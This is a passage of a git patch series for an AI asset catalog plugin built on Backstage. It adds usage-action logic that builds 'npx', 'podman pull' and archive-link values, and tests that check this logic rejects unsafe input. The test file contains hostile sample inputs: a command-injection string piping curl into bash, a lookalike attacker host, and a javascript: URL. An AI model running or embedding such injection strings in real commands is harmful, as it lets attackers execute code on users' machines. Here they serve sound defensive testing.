value.flatMap(remote => { + if (typeof remote !== 'object' || remote === null) return []; + const entry = remote as Record; + const url = typeof entry.url === 'string' ? entry.url.trim() : ''; + if (!url) { + return []; + } + const type = + typeof entry.type === 'string' && entry.type.trim().length > 0 + ? entry.type.trim() + : undefined; + + return [ + { + url, + ...(type && { type }), + }, + ]; + }); +} + +export function getModelsAvailable(entity: Entity): string[] { + const models = getSpecObject(entity)?.models; + if (typeof models !== 'object' || models === null) return []; + + return getUniqueStrings((models as Record).available); +} + +/** + * Returns the provider facet from the AI asset source annotation. + */ +export function getProvider(entity: Entity): string | undefined { + return entity.metadata.annotations?.[AI_ASSET_SOURCE_ANNOTATION]; +} + +/** Returns an agent's configured model from the typed spec field. */ +export function getAgentModel(entity: Entity): string | undefined { + return getSpecField(entity, 'model'); +} + +/** Returns the target entity references configured for an agent's handoffs. */ +export function getHandoffRefs(entity: Entity): string[] { + return getStringArraySpecField(entity, 'handoffs'); } /** @@ -94,161 +187,6 @@ export function applyEntityFilters( return results; } -/** - * Resolved adoption action for an AI asset entity. - * - * - `copy`: the value should be copied to the clipboard (skill, OCI pull, MCP remote URL). - * - `link`: the value is a URL that should be opened in a new tab (git ZIP download). - */ -export interface AdoptionAction { - type: 'copy' | 'link'; - value: string; -} - -/** - * Parses a URL string and returns its hostname, or undefined if the URL is malformed. - */ -function parseHostname(url: string): string | undefined { - try { - return new URL(url).hostname; - } catch { - return undefined; - } -} - -function isHost(hostname: string | undefined, host: string): boolean { - return hostname === host || (hostname?.endsWith(`.${host}`) ?? false); -} - -/** - * Matches a well-formed `oci://` reference and rejects anything containing - * shell metacharacters (`;`, `|`, `` ` ``, `$()`, spaces, etc.), since this - * value is interpolated into a `podman pull` command that gets copied to the - * clipboard. - */ -const OCI_REFERENCE_PATTERN = /^oci:\/\/[a-zA-Z0-9][a-zA-Z0-9._:@/-]*$/; - -function isSafeOciReference(url: string): boolean { - return OCI_REFERENCE_PATTERN.test(url); -} - -/** - * Returns true if `value` parses as an absolute `http:`/`https:` URL. - */ -function isHttpUrl(value: string): boolean { - try { - return ['http:', 'https:'].includes(new URL(value).protocol); - } catch { - return false; - } -} - -/** - * Builds a "download ZIP" archive URL for a git-hosted repository target. - * - * - GitHub: uses the branch-agnostic `zipball` API endpoint, so the actual - * default branch is always resolved server-side (no branch guessing). - * Requires the target path to be exactly `owner/repo` (a repo root); a - * subpage such as `/tree/main` or `/blob/...` is not a repo root and is - * returned unchanged rather than guessing a wrong owner/repo pair. - * - GitLab: has no branch-agnostic web URL, so this falls back to a - * best-effort `main` branch guess. This is a heuristic pending the - * backend download proxy (RHIDP-15167); it may not resolve for - * repositories whose default branch isn't `main`. - */ -function buildGitArchiveUrl(target: string, hostname: string): string { - let segments: string[]; - try { - segments = new URL(target).pathname - .replace(/^\/|\/$/g, '') - .split('/') - .filter(Boolean); - } catch { - return target; - } - - if (isHost(hostname, 'github.com')) { - if (segments.length !== 2) return target; - const [owner, repoRaw] = segments; - return `https://api.github.com/repos/${owner}/${repoRaw.replace(/\.git$/, '')}/zipball`; - } - - const repo = segments[segments.length - 1]?.replace(/\.git$/, ''); - if (!repo) return target; - return `${target.replace(/\/$/, '')}/-/archive/main/${repo}-main.zip`; -} - -/** - * Resolves the adoption action for an entity based on its metadata. - * - * Priority order: - * 1. Skills — `npx skills add ` - * 2. OCI-sourced — `podman pull ` - * 3. Git-sourced — Download ZIP link - * 4. MCP servers — remote URL copy - * 5. Fallback — undefined (no action) - */ -export function getAdoptionAction(entity: Entity): AdoptionAction | undefined { - const spec = entity.spec as Record | undefined; - const specType = getSpecField(entity, 'type')?.toLowerCase(); - - // 1. Skills - if (specType === 'skill') { - return { - type: 'copy', - value: `npx skills add ${entity.metadata.name}`, - }; - } - - const remotes = (spec?.remotes ?? []) as Array<{ - url?: string; - type?: string; - }>; - - // 2. OCI-sourced - // Checked before the mcp-server branch below: per #3735's priority order, - // an oci:// remote takes precedence even for entities typed `mcp-server`. - const ociRemote = remotes.find(r => r.url && isSafeOciReference(r.url)); - if (ociRemote?.url) { - return { - type: 'copy', - value: `podman pull ${ociRemote.url}`, - }; - } - - // 3. Git-sourced - const location = spec?.location as - | { type?: string; target?: string } - | undefined; - if (location?.type === 'git' && location.target) { - const target = location.target; - const hostname = parseHostname(target); - if (isHost(hostname, 'github.com') || isHost(hostname, 'gitlab.com')) { - return { - type: 'link', - value: buildGitArchiveUrl(target, hostname as string), - }; - } - } - - // 4. MCP servers - if (specType === 'mcp-server') { - const mcpRemote = - remotes.find( - r => r.type === 'streamable-http' && r.url && isHttpUrl(r.url), - ) ?? remotes.find(r => r.url && isHttpUrl(r.url)); - if (mcpRemote?.url) { - return { - type: 'copy', - value: mcpRemote.url, - }; - } - } - - // 5. Fallback - return undefined; -} - export function getSortValue(entity: Entity, columnId: string): string { switch (columnId) { case 'title': @@ -258,7 +196,7 @@ export function getSortValue(entity: Entity, columnId: string): string { case 'owner': return getSpecField(entity, 'owner') ?? ''; case 'provider': - return entity.metadata.annotations?.['rhdh.io/ai-asset-source'] ?? ''; + return getProvider(entity) ?? ''; case 'description': return entity.metadata.description ?? ''; default: diff --git a/workspaces/boost/plugins/boost/src/utils/usageActions.test.ts b/workspaces/boost/plugins/boost/src/utils/usageActions.test.ts new file mode 100644 index 00000000000..238d4ae4892 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/utils/usageActions.test.ts @@ -0,0 +1,352 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import type { Entity } from '@backstage/catalog-model'; + +import { getUsageAction } from './usageActions'; + +function entity(overrides: { + name?: string; + specType?: string; + annotations?: Record; + location?: { type?: string; target?: string }; + remotes?: Array<{ url?: string; type?: string }>; +}): Entity { + return { + apiVersion: 'backstage.io/v1alpha1', + kind: 'AiResource', + metadata: { + name: overrides.name ?? 'test-entity', + namespace: 'default', + annotations: overrides.annotations, + }, + spec: { + type: overrides.specType, + lifecycle: 'production', + owner: 'team-test', + location: overrides.location, + remotes: overrides.remotes, + }, + } as Entity; +} + +describe('getUsageAction', () => { + it('returns npx copy command for skill entities', () => { + const action = getUsageAction( + entity({ name: 'my-skill', specType: 'skill' }), + ); + expect(action).toEqual({ type: 'copy', value: 'npx skills add my-skill' }); + }); + + it('returns podman pull command for the first oci:// remote', () => { + const action = getUsageAction( + entity({ + specType: 'ai-tool', + remotes: [ + { url: 'https://not-oci.example.com', type: 'other' }, + { url: 'oci://registry.example.com/models/foo:latest', type: 'oci' }, + ], + }), + ); + expect(action).toEqual({ + type: 'copy', + value: 'podman pull oci://registry.example.com/models/foo:latest', + }); + }); + + it('falls through to git-sourced action when the ai-asset-source annotation is oci but no oci:// remote exists (finding #1 regression)', () => { + const action = getUsageAction( + entity({ + specType: 'ai-tool', + annotations: { 'rhdh.io/ai-asset-source': 'oci' }, + location: { + type: 'git', + target: 'https://github.com/example/some-model', + }, + }), + ); + expect(action).toEqual({ + type: 'link', + value: 'https://api.github.com/repos/example/some-model/zipball', + linkType: 'download', + }); + }); + + it('falls through to MCP-remote action when the ai-asset-source annotation is oci but no oci:// remote exists', () => { + const action = getUsageAction( + entity({ + specType: 'mcp-server', + annotations: { 'rhdh.io/ai-asset-source': 'oci' }, + remotes: [ + { url: 'https://mcp.example.com/server', type: 'streamable-http' }, + ], + }), + ); + expect(action).toEqual({ + type: 'copy', + value: 'https://mcp.example.com/server', + }); + }); + + it('resolves a branch-agnostic GitHub zipball URL for github.com targets', () => { + const action = getUsageAction( + entity({ + specType: 'rule', + location: { + type: 'git', + target: 'https://github.com/example/some-rule', + }, + }), + ); + expect(action).toEqual({ + type: 'link', + value: 'https://api.github.com/repos/example/some-rule/zipball', + linkType: 'download', + }); + }); + + it('resolves a best-effort main-branch archive URL for gitlab.com targets', () => { + const action = getUsageAction( + entity({ + specType: 'rule', + location: { + type: 'git', + target: 'https://gitlab.com/example/some-rule', + }, + }), + ); + expect(action).toEqual({ + type: 'link', + value: + 'https://gitlab.com/example/some-rule/-/archive/main/some-rule-main.zip', + linkType: 'download', + }); + }); + + it('does not treat a spoofed lookalike host as a GitHub archive host', () => { + const target = 'https://evil.github.com.attacker.com/example/some-rule'; + const action = getUsageAction( + entity({ + specType: 'rule', + location: { + type: 'git', + target, + }, + }), + ); + expect(action).toEqual({ + type: 'link', + value: target, + linkType: 'source', + }); + }); + + it('does not treat a malformed URL as a git host', () => { + const action = getUsageAction( + entity({ + specType: 'rule', + location: { type: 'git', target: 'not-a-valid-url' }, + }), + ); + expect(action).toBeUndefined(); + }); + + it('selects the remote explicitly typed streamable-http over an earlier non-matching remote (finding #6 regression)', () => { + const action = getUsageAction( + entity({ + specType: 'mcp-server', + remotes: [ + { url: 'https://docs.example.com/mcp-server', type: 'docs' }, + { url: 'https://mcp.example.com/server', type: 'streamable-http' }, + ], + }), + ); + expect(action).toEqual({ + type: 'copy', + value: 'https://mcp.example.com/server', + }); + }); + + it('falls back to the first remote with a url when no remote is typed streamable-http', () => { + const action = getUsageAction( + entity({ + specType: 'mcp-server', + remotes: [{ url: 'https://mcp.example.com/server', type: 'other' }], + }), + ); + expect(action).toEqual({ + type: 'copy', + value: 'https://mcp.example.com/server', + }); + }); + + it('matches specType case-insensitively (e.g. Skill)', () => { + const action = getUsageAction( + entity({ name: 'my-skill', specType: 'Skill' }), + ); + expect(action).toEqual({ type: 'copy', value: 'npx skills add my-skill' }); + }); + + it('matches mcp-server specType case-insensitively', () => { + const action = getUsageAction( + entity({ + specType: 'MCP-Server', + remotes: [ + { url: 'https://mcp.example.com/server', type: 'streamable-http' }, + ], + }), + ); + expect(action).toEqual({ + type: 'copy', + value: 'https://mcp.example.com/server', + }); + }); + + it('does not resolve git-sourced action when location.type is not git', () => { + const action = getUsageAction( + entity({ + specType: 'rule', + location: { + type: 'url', + target: 'https://github.com/example/some-rule', + }, + }), + ); + expect(action).toBeUndefined(); + }); + + it('returns undefined when no actionable metadata is present', () => { + const action = getUsageAction(entity({ specType: 'ai-tool' })); + expect(action).toBeUndefined(); + }); + + it('rejects an oci:// remote containing shell metacharacters (clipboard injection regression)', () => { + const action = getUsageAction( + entity({ + specType: 'ai-tool', + remotes: [{ url: 'oci://evil; curl x | bash', type: 'oci' }], + }), + ); + expect(action).toBeUndefined(); + }); + + it('skips an unsafe oci:// remote and resolves the next valid one', () => { + const action = getUsageAction( + entity({ + specType: 'ai-tool', + remotes: [ + { url: 'oci://evil; curl x | bash', type: 'oci' }, + { url: 'oci://registry.example.com/models/foo:latest', type: 'oci' }, + ], + }), + ); + expect(action).toEqual({ + type: 'copy', + value: 'podman pull oci://registry.example.com/models/foo:latest', + }); + }); + + it('accepts an oci:// reference with a registry port and tag', () => { + const action = getUsageAction( + entity({ + specType: 'ai-tool', + remotes: [ + { + url: 'oci://registry.example.com:5000/models/foo:latest', + type: 'oci', + }, + ], + }), + ); + expect(action).toEqual({ + type: 'copy', + value: 'podman pull oci://registry.example.com:5000/models/foo:latest', + }); + }); + + it('does not guess a wrong owner/repo for a GitHub subpage URL (archive URL parsing regression)', () => { + const target = 'https://github.com/example/repo/tree/main'; + const action = getUsageAction( + entity({ + specType: 'rule', + location: { type: 'git', target }, + }), + ); + expect(action).toEqual({ + type: 'link', + value: target, + linkType: 'source', + }); + }); + + it('uses the original Git URL for a valid source on an unsupported host', () => { + const target = 'https://git.example.com/team/repo'; + const action = getUsageAction( + entity({ + specType: 'rule', + location: { type: 'git', target }, + }), + ); + expect(action).toEqual({ + type: 'link', + value: target, + linkType: 'source', + }); + }); + + it('uses the original GitLab URL for a repository subpage', () => { + const target = 'https://gitlab.com/example/repo/-/tree/main'; + const action = getUsageAction( + entity({ + specType: 'rule', + location: { type: 'git', target }, + }), + ); + expect(action).toEqual({ + type: 'link', + value: target, + linkType: 'source', + }); + }); + + it('rejects an MCP remote URL with a non-http(s) scheme', () => { + const scriptUrl = ['java', 'script:alert(1)'].join(''); + const action = getUsageAction( + entity({ + specType: 'mcp-server', + remotes: [{ url: scriptUrl, type: 'streamable-http' }], + }), + ); + expect(action).toBeUndefined(); + }); + + it('skips a non-http(s) MCP remote and resolves the next valid streamable-http one', () => { + const scriptUrl = ['java', 'script:alert(1)'].join(''); + const action = getUsageAction( + entity({ + specType: 'mcp-server', + remotes: [ + { url: scriptUrl, type: 'other' }, + { url: 'https://mcp.example.com/server', type: 'streamable-http' }, + ], + }), + ); + expect(action).toEqual({ + type: 'copy', + value: 'https://mcp.example.com/server', + }); + }); +}); diff --git a/workspaces/boost/plugins/boost/src/utils/usageActions.ts b/workspaces/boost/plugins/boost/src/utils/usageActions.ts new file mode 100644 index 00000000000..ddc9b3d2fef --- /dev/null +++ b/workspaces/boost/plugins/boost/src/utils/usageActions.ts @@ -0,0 +1,174 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import type { Entity } from '@backstage/catalog-model'; + +import { getSpecRemotes } from './entityHelpers'; + +export type UsageAction = + | { + type: 'copy'; + value: string; + } + | { + type: 'link'; + value: string; + linkType: 'download' | 'source'; + }; + +type RecordValue = Record; + +function asRecord(value: unknown): RecordValue | undefined { + return typeof value === 'object' && value !== null + ? (value as RecordValue) + : undefined; +} + +function parseUrl(value: string): URL | undefined { + try { + const url = new URL(value); + return url.hostname ? url : undefined; + } catch { + return undefined; + } +} + +function isHttpUrl(value: string): boolean { + const url = parseUrl(value); + return url?.protocol === 'http:' || url?.protocol === 'https:'; +} + +function isSafeCommandToken(value: string): boolean { + return /^[a-zA-Z0-9][a-zA-Z0-9._-]*$/.test(value); +} + +/** + * Matches OCI references that are safe to interpolate into a `podman pull` + * command. Shell metacharacters, whitespace, and empty references are not + * accepted. + */ +const OCI_REFERENCE_PATTERN = /^oci:\/\/[a-zA-Z0-9][a-zA-Z0-9._:@/-]*$/; + +function isSafeOciReference(value: string): boolean { + return OCI_REFERENCE_PATTERN.test(value); +} + +function getPathSegments(url: URL): string[] { + return url.pathname.split('/').filter(Boolean); +} + +function buildGitHubArchiveUrl(url: URL): string | undefined { + const segments = getPathSegments(url); + if (segments.length !== 2) return undefined; + + const [owner, repo] = segments; + return `https://api.github.com/repos/${owner}/${repo.replace( + /\.git$/, + '', + )}/zipball`; +} + +function buildGitLabArchiveUrl(url: URL): string | undefined { + const segments = getPathSegments(url); + if (segments.length < 2 || segments.includes('-')) return undefined; + + const repo = segments[segments.length - 1]?.replace(/\.git$/, ''); + if (!repo) return undefined; + + const projectPath = segments.slice(0, -1).concat(repo).join('/'); + return `${url.origin}/${projectPath}/-/archive/main/${repo}-main.zip`; +} + +function getGitAction(target: string): UsageAction | undefined { + if (!isHttpUrl(target)) return undefined; + + const url = parseUrl(target); + if (!url) return undefined; + + if (url.hostname === 'github.com') { + const archiveUrl = buildGitHubArchiveUrl(url); + return archiveUrl + ? { type: 'link', value: archiveUrl, linkType: 'download' } + : { type: 'link', value: target, linkType: 'source' }; + } + + if (url.hostname === 'gitlab.com') { + const archiveUrl = buildGitLabArchiveUrl(url); + return archiveUrl + ? { type: 'link', value: archiveUrl, linkType: 'download' } + : { type: 'link', value: target, linkType: 'source' }; + } + + return { type: 'link', value: target, linkType: 'source' }; +} + +/** + * Resolves the usage action for an entity. + * + * Skills use a command, model servers and MCP servers expose their HTTP(S) + * endpoint, OCI remotes use a Podman command, supported Git repository roots + * use an archive download, and other valid Git sources use a source link. + */ +export function getUsageAction(entity: Entity): UsageAction | undefined { + const spec = asRecord(entity.spec); + const specType = + typeof spec?.type === 'string' ? spec.type.toLowerCase() : undefined; + + if (specType === 'skill' && isSafeCommandToken(entity.metadata.name)) { + return { + type: 'copy', + value: `npx skills add ${entity.metadata.name}`, + }; + } + + if (specType === 'ai-model-server' && typeof spec?.serverUrl === 'string') { + if (isHttpUrl(spec.serverUrl)) { + return { type: 'copy', value: spec.serverUrl }; + } + } + + const remotes = getSpecRemotes(entity); + const ociRemote = remotes.find(remote => isSafeOciReference(remote.url)); + if (ociRemote) { + return { + type: 'copy', + value: `podman pull ${ociRemote.url}`, + }; + } + + const location = asRecord(spec?.location); + if ( + typeof location?.target === 'string' && + typeof location.type === 'string' && + location.type.toLowerCase() === 'git' + ) { + const gitAction = getGitAction(location.target); + if (gitAction) return gitAction; + } + + if (specType === 'mcp-server') { + const mcpRemote = + remotes.find( + remote => remote.type === 'streamable-http' && isHttpUrl(remote.url), + ) ?? remotes.find(remote => isHttpUrl(remote.url)); + + if (mcpRemote) { + return { type: 'copy', value: mcpRemote.url }; + } + } + + return undefined; +} From 68189824d12d2532655bc7ac085f37d058329b90 Mon Sep 17 00:00:00 2001 From: Rohit Rai Date: Sat, 12 Sep 2026 17:08:25 +0530 Subject: [PATCH 03/16] fix(boost): harden OGX provider contracts --- .../boost/plugins/boost-backend/report.api.md | 2 +- .../boost-entity-provider-sdk/report.api.md | 4 +-- workspaces/boost/plugins/boost/report.api.md | 28 +++++++++---------- .../providers/OgxAgentEntityProvider.test.ts | 20 +++++++++++++ .../src/providers/OgxAgentEntityProvider.ts | 4 +-- .../providers/OgxModelEntityProvider.test.ts | 1 + .../src/providers/OgxModelEntityProvider.ts | 4 +-- .../src/providers/entityHelpers.ts | 6 ++-- 8 files changed, 45 insertions(+), 24 deletions(-) diff --git a/workspaces/boost/plugins/boost-backend/report.api.md b/workspaces/boost/plugins/boost-backend/report.api.md index f2fbd9f06d0..d6230f6b30a 100644 --- a/workspaces/boost/plugins/boost-backend/report.api.md +++ b/workspaces/boost/plugins/boost-backend/report.api.md @@ -201,9 +201,9 @@ export const boostConfigFields: { }; readonly 'boost.security.mode': { readonly schema: z.ZodEnum<{ - full: 'full'; 'development-only-no-auth': 'development-only-no-auth'; 'plugin-only': 'plugin-only'; + full: 'full'; }>; readonly configScope: ConfigScope; readonly description: string; diff --git a/workspaces/boost/plugins/boost-entity-provider-sdk/report.api.md b/workspaces/boost/plugins/boost-entity-provider-sdk/report.api.md index d48a225448b..b50035124f8 100644 --- a/workspaces/boost/plugins/boost-entity-provider-sdk/report.api.md +++ b/workspaces/boost/plugins/boost-entity-provider-sdk/report.api.md @@ -196,13 +196,13 @@ export const SkillBundleMetadataSchema: z.ZodObject< version: string; description?: string | undefined; tags?: string[] | undefined; + author?: string | undefined; runtime?: | { language: string; dependencies?: Record | undefined; } | undefined; - author?: string | undefined; mcp?: | { servers: string[]; @@ -214,13 +214,13 @@ export const SkillBundleMetadataSchema: z.ZodObject< version: string; description?: string | undefined; tags?: string[] | undefined; + author?: string | undefined; runtime?: | { language: string; dependencies?: Record | undefined; } | undefined; - author?: string | undefined; mcp?: | { servers: string[]; diff --git a/workspaces/boost/plugins/boost/report.api.md b/workspaces/boost/plugins/boost/report.api.md index 35dd6e108e8..47d68c7e387 100644 --- a/workspaces/boost/plugins/boost/report.api.md +++ b/workspaces/boost/plugins/boost/report.api.md @@ -283,7 +283,6 @@ const boostPlugin: OverridableFrontendPlugin< title?: string | undefined | undefined; }; output: - | ExtensionDataRef | ExtensionDataRef | ExtensionDataRef< RouteRef, @@ -292,6 +291,7 @@ const boostPlugin: OverridableFrontendPlugin< optional: true; } > + | ExtensionDataRef | ExtensionDataRef< string, 'core.title', @@ -370,25 +370,22 @@ export const boostTranslationRef: TranslationRef< 'plugin.boost', { readonly 'nav.aiCatalog': string; - readonly 'catalog.filter.type': string; - readonly 'catalog.filter.all': string; + readonly 'catalog.table.name': string; + readonly 'catalog.table.type': string; + readonly 'catalog.table.owner': string; + readonly 'catalog.table.provider': string; + readonly 'catalog.table.description': string; readonly 'catalog.filter.title': string; - readonly 'catalog.filter.tag': string; + readonly 'catalog.filter.all': string; + readonly 'catalog.filter.type': string; readonly 'catalog.filter.owner': string; readonly 'catalog.filter.provider': string; + readonly 'catalog.filter.tag': string; readonly 'catalog.filter.clearAll': string; + readonly 'catalog.page.title': string; readonly 'catalog.error.title': string; readonly 'catalog.error.description': string; readonly 'catalog.error.retry': string; - readonly 'catalog.page.title': string; - readonly 'catalog.table.name': string; - readonly 'catalog.table.type': string; - readonly 'catalog.table.description': string; - readonly 'catalog.table.owner': string; - readonly 'catalog.table.provider': string; - readonly 'catalog.empty.title': string; - readonly 'catalog.empty.description': string; - readonly 'catalog.empty.learnMore': string; readonly 'catalog.toolbar.search': string; readonly 'catalog.toolbar.filters': string; readonly 'catalog.toolbar.allPrefix': string; @@ -396,11 +393,11 @@ export const boostTranslationRef: TranslationRef< readonly 'catalog.toolbar.viewTable': string; readonly 'catalog.card.yes': string; readonly 'catalog.card.no': string; - readonly 'catalog.card.copied': string; readonly 'catalog.card.assetDetailsTitle': string; readonly 'catalog.card.usageTitle': string; readonly 'catalog.card.versionLabel': string; readonly 'catalog.card.copyCommand': string; + readonly 'catalog.card.copied': string; readonly 'catalog.card.copyFailed': string; readonly 'catalog.card.usageDownloadZip': string; readonly 'catalog.card.usageViewSource': string; @@ -428,6 +425,9 @@ export const boostTranslationRef: TranslationRef< readonly 'catalog.card.handoffDescriptionTitle': string; readonly 'catalog.card.handoffTargetsTitle': string; readonly 'catalog.card.ragEnabledLabel': string; + readonly 'catalog.empty.title': string; + readonly 'catalog.empty.description': string; + readonly 'catalog.empty.learnMore': string; readonly 'catalog.emptyFiltered.title': string; readonly 'catalog.emptyFiltered.description': string; readonly 'catalog.emptyFiltered.clearFilters': string; diff --git a/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxAgentEntityProvider.test.ts b/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxAgentEntityProvider.test.ts index db12adfa9ef..c0ea7c2002b 100644 --- a/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxAgentEntityProvider.test.ts +++ b/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxAgentEntityProvider.test.ts @@ -127,6 +127,26 @@ describe('OgxAgentEntityProvider', () => { expect(entity.metadata.labels).toBeUndefined(); }); + it('uses unknown when an agent does not provide an owner', async () => { + const config: OgxEntityProviderConfig = { + baseUrl: 'http://localhost:8321', + agents: [{ id: 'ownerless-agent', name: 'Ownerless Agent' }], + }; + + const provider = new OgxAgentEntityProvider({ + config, + logger: mockServices.logger.mock(), + taskRunner, + }); + + await provider.connect(mockConnection); + await taskRunner.runAll(); + + const mutation = (mockConnection.applyMutation as jest.Mock).mock + .calls[0][0]; + expect(mutation.entities[0].entity.spec.owner).toBe('unknown'); + }); + it('should include all three required AI asset annotations', async () => { const config: OgxEntityProviderConfig = { baseUrl: 'http://localhost:8321', diff --git a/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxAgentEntityProvider.ts b/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxAgentEntityProvider.ts index 204788fcc28..6558f78ca67 100644 --- a/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxAgentEntityProvider.ts +++ b/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxAgentEntityProvider.ts @@ -133,7 +133,7 @@ export class OgxAgentEntityProvider implements EntityProvider { } } - const owner = mapOwner(agent.createdBy); + const owner = mapOwner(agent.createdBy) ?? 'unknown'; return { apiVersion: 'backstage.io/v1alpha1', @@ -147,7 +147,7 @@ export class OgxAgentEntityProvider implements EntityProvider { spec: { type: 'agent', lifecycle: mapLifecycleStage(agent.lifecycleStage), - ...(owner && { owner }), + owner, ...(agent.model && { model: agent.model }), ...(agent.tools && agent.tools.length > 0 && { tools: agent.tools }), instructions: diff --git a/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxModelEntityProvider.test.ts b/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxModelEntityProvider.test.ts index 11105077358..54a49105795 100644 --- a/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxModelEntityProvider.test.ts +++ b/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxModelEntityProvider.test.ts @@ -191,6 +191,7 @@ describe('OgxModelEntityProvider', () => { expect(entity.metadata.annotations[AI_ASSET_VERSION_ANNOTATION]).toBe( '0.0.0-unknown', ); + expect(entity.spec.owner).toBe('unknown'); }); it('should send Authorization header when apiKey is configured', async () => { diff --git a/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxModelEntityProvider.ts b/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxModelEntityProvider.ts index 93c45bde00a..4202b47e95b 100644 --- a/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxModelEntityProvider.ts +++ b/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxModelEntityProvider.ts @@ -213,7 +213,7 @@ export class OgxModelEntityProvider implements EntityProvider { const entityName = sanitizeEntityName('ogx-model-server'); const modelNames = models.map(m => m.id); const firstOwner = models.find(m => m.owned_by)?.owned_by; - const owner = mapOwner(firstOwner); + const owner = mapOwner(firstOwner) ?? 'unknown'; return { apiVersion: 'backstage.io/v1alpha1', @@ -237,7 +237,7 @@ export class OgxModelEntityProvider implements EntityProvider { spec: { type: 'ai-model-server', lifecycle: 'production', - ...(owner && { owner }), + owner, serverType: 'openai-v1', serverUrl: this.config.baseUrl, models: { diff --git a/workspaces/boost/plugins/ogx-entity-provider/src/providers/entityHelpers.ts b/workspaces/boost/plugins/ogx-entity-provider/src/providers/entityHelpers.ts index c92500099d1..9b5d18ab1f9 100644 --- a/workspaces/boost/plugins/ogx-entity-provider/src/providers/entityHelpers.ts +++ b/workspaces/boost/plugins/ogx-entity-provider/src/providers/entityHelpers.ts @@ -57,9 +57,9 @@ export function sanitizeEntityName(name: string): string { /** * Maps a createdBy user reference to a catalog owner ref. * - * Returns undefined when the source does not provide an owner. An - * unavailable owner should be omitted rather than represented by a fake - * entity reference such as "unknown". + * Returns undefined when the source does not provide an owner. Provider + * callers must choose a schema-valid fallback when their entity schema + * requires an owner. * * @internal */ From 4a6423c433a3a99d24f59c2e825718c7498448bc Mon Sep 17 00:00:00 2001 From: Rohit Rai Date: Sat, 12 Sep 2026 17:12:18 +0530 Subject: [PATCH 04/16] fix(boost): address AI Catalog review feedback --- .../e2e-tests/boost.AiCatalogPage.test.ts | 10 ++++- workspaces/boost/plugins/boost/package.json | 1 + .../src/components/catalog/AiCatalogTable.tsx | 1 + .../catalog/entity/HandoffTargets.test.tsx | 23 +++++++++- .../catalog/entity/HandoffTargets.tsx | 12 ++++-- .../catalog/entity/UsageCard.test.tsx | 42 ++++++++++++++++--- .../components/catalog/entity/UsageCard.tsx | 10 +++++ workspaces/boost/yarn.lock | 1 + 8 files changed, 89 insertions(+), 11 deletions(-) diff --git a/workspaces/boost/e2e-tests/boost.AiCatalogPage.test.ts b/workspaces/boost/e2e-tests/boost.AiCatalogPage.test.ts index 249ff090e69..ce64db12b9d 100644 --- a/workspaces/boost/e2e-tests/boost.AiCatalogPage.test.ts +++ b/workspaces/boost/e2e-tests/boost.AiCatalogPage.test.ts @@ -215,7 +215,9 @@ test.describe('Boost AI Catalog', () => { await expect(catalogCount(page, 2)).toBeVisible(); }); - test('uses a mobile filter drawer on smaller screens', async ({ page }) => { + test('uses a mobile filter drawer on smaller screens', async ({ + page, + }, testInfo) => { await page.setViewportSize({ width: 768, height: 900 }); await loadTwoAssetCatalog(page); @@ -228,6 +230,12 @@ test.describe('Boost AI Catalog', () => { await expect( dialog.getByRole('navigation', { name: 'Filters' }), ).toBeVisible(); + await runAccessibilityTests( + page, + testInfo, + 'mobile-filter-drawer-accessibility.json', + { disableRules: ['nested-interactive', 'color-contrast'] }, + ); await dialog.getByRole('button', { name: 'All Type' }).click(); await page diff --git a/workspaces/boost/plugins/boost/package.json b/workspaces/boost/plugins/boost/package.json index b1dd57682a1..acfa1b5c7c4 100644 --- a/workspaces/boost/plugins/boost/package.json +++ b/workspaces/boost/plugins/boost/package.json @@ -91,6 +91,7 @@ "@backstage/cli": "^0.36.5", "@backstage/frontend-defaults": "^0.5.5", "@backstage/frontend-test-utils": "^0.6.3", + "@backstage/plugin-permission-common": "^0.9.10", "@backstage/test-utils": "^1.7.21", "@testing-library/dom": "^10.0.0", "@testing-library/jest-dom": "^6.0.0", diff --git a/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogTable.tsx b/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogTable.tsx index 1180a1bfc3d..81e7022f4e6 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogTable.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogTable.tsx @@ -114,6 +114,7 @@ export const AiCatalogTable = ({ entities, sort }: AiCatalogTableProps) => { columnConfig={columns} pagination={{ type: 'none' }} sort={sort} + rowConfig={{ getHref: item => item.href }} className={styles.table} /> diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.test.tsx index 694e69c93d5..19c7b7be69b 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.test.tsx @@ -15,6 +15,7 @@ */ import type { Entity } from '@backstage/catalog-model'; +import { errorApiRef } from 